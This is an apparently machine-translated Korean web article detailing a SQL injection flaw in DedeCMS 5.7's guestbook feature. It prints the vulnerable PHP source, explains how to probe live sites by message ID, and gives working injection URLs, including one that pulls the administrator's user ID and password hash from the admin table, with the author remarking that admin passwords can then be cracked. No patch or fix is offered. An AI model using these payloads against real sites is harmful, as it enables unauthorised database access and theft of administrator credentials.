>  기사  >  백엔드 개발  >  dedecms5.7 최신 SQL은 guestbook.php 주입 취약점을 악용합니다.

dedecms5.7 최신 SQL은 guestbook.php 주입 취약점을 악용합니다.

不言
不言원래의
2018-04-10 09:48:2212617검색

이 기사의 내용은 guestbook.php를 사용하는 dedecms5.7의 최신 SQL 주입 취약점에 대한 내용입니다. 이제 필요한 친구들이 참고할 수 있습니다.

해당 버전은 5.7

입니다. 취약점 파일 edit.inc .php 특정 코드:

< ?php  

if(!defined(&#39;DEDEINC&#39;)) exit(&#39;Request Error!&#39;);  

   

if(!empty($_COOKIE[&#39;GUEST_BOOK_POS&#39;])) $GUEST_BOOK_POS = $_COOKIE[&#39;GUEST_BOOK_POS&#39;];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  

if(empty($job)) $job=&#39;view&#39;;  

   

if($job==&#39;del&#39; && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='editok')  

{  

$remsg = trim($remsg);  

if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

{  

$msg = "<p class=&#39;rebox&#39;>".$msg."</p>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复:</font> }  

else 

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<p class=&#39;rebox&#39;>".addslashes($row['msg'])."</p>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

}  

}  

//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

//home:www.errs.cc  

if($g_isadmin)  

{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

else 

{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

}

취약성 성공을 위한 요구 사항:
1.php Magic_quotes_gpc=off
2 취약점 파일이 존재합니다. plus/guestbook.php dede_guestbook 테이블도 존재해야 합니다.

취약점 여부 판단 방법:
먼저 www.xxx.com/plus/guestbook.php를 열면 다른 사람의 메시지를 볼 수 있습니다.
그런 다음 [답글/편집]에 마우스를 올리면 ID를 볼 수 있습니다. 다른 사람의 메시지. 그런 다음 ID를 적어주세요
Visit:

www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=存在的留言ID

제출 후 dede5.7 버전인 경우 "성공적으로 변경되었거나 메시지에 답장했습니다"가 표시됩니다. 이는 수정이 성공했음을 증명합니다
www.xxx.com으로 다시 이동합니다. /plus/guestbook.php 변경한 메시지 ID가 errs.cc'가 되었는지 확인하세요.

그렇다면 취약점을 악용할 수 없음을 증명하고 php Magic_quotes_gpc=off를 켜야 합니다.

변경 사항이 다음과 같다면 성공하지 못하더라도 메시지 ID의 내용은 여전히 ​​입니다. 이전 메시지에서는 취약점이 악용될 수 있음이 입증되었습니다.
그럼 다시 방문


www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='

하고 돌아오면 메시지 ID 내용이 mysql user()로 바로 수정됩니다.

아마도 이런 식으로 사용되는 것 같은데, 관심 있으신 분들은 좀 더 공부해 보시기 바랍니다! !

마지막으로 일부 사람들은 관리 백엔드 계정의 비밀번호를 해독하는 방법을 말할 수도 있습니다. 어쨌든 노출은 당연히 가능합니다(노출할 수 없다면 올리지 않겠습니다)! !

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='

           

위 내용은 dedecms5.7 최신 SQL은 guestbook.php 주입 취약점을 악용합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.